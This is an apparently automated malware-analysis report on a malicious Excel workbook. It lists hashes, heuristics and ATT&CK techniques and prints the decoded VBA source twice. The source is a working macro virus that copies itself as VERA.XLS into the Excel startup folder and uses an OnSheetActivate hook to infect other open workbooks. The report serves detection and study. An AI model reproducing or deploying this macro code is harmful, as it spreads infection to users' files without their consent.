Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 851b88c905bc2279…

MALICIOUS

Office (OLE)

299.5 KB Created: 2012-01-19 15:49:31 Authoring application: Microsoft Excel First seen: 2014-07-31
MD5: 2f9562d8fc0705e551b819f20d9e901a SHA-1: e8837dd2c4ea239bdaa215eb2e672f946fae909a SHA-256: 851b88c905bc2279a0776beeb4d655d50b491f8b1453425fad50f23dd45137c8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This Excel document contains VBA macros that are designed to achieve persistence. The macro copies the current workbook to the Excel startup folder as 'VERA.XLS' and sets an 'OnSheetActivate' hook to execute the 'check_files' subroutine, which likely leads to the execution of a second-stage payload. The document body contains a large amount of seemingly random Chinese text, which is likely obfuscation or unrelated content.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set X = CreateObject("ADODB.Connection")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5505 bytes
SHA-256: 0c4a2feebbd8f33912506d7eb0d9497ac1810551e102e9a01ad2fbcfa80f5448
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Locas"



Sub fig()
    
    Set X = CreateObject("ADODB.Connection")
    
    X.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = X.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set X = Nothing
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
   
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = Tru
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Locas1"



Sub fig()
    
    Set X = CreateObject("ADODB.Connection")
    
    X.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = X.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set X = Nothing
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
   
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = Tru
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块1"

Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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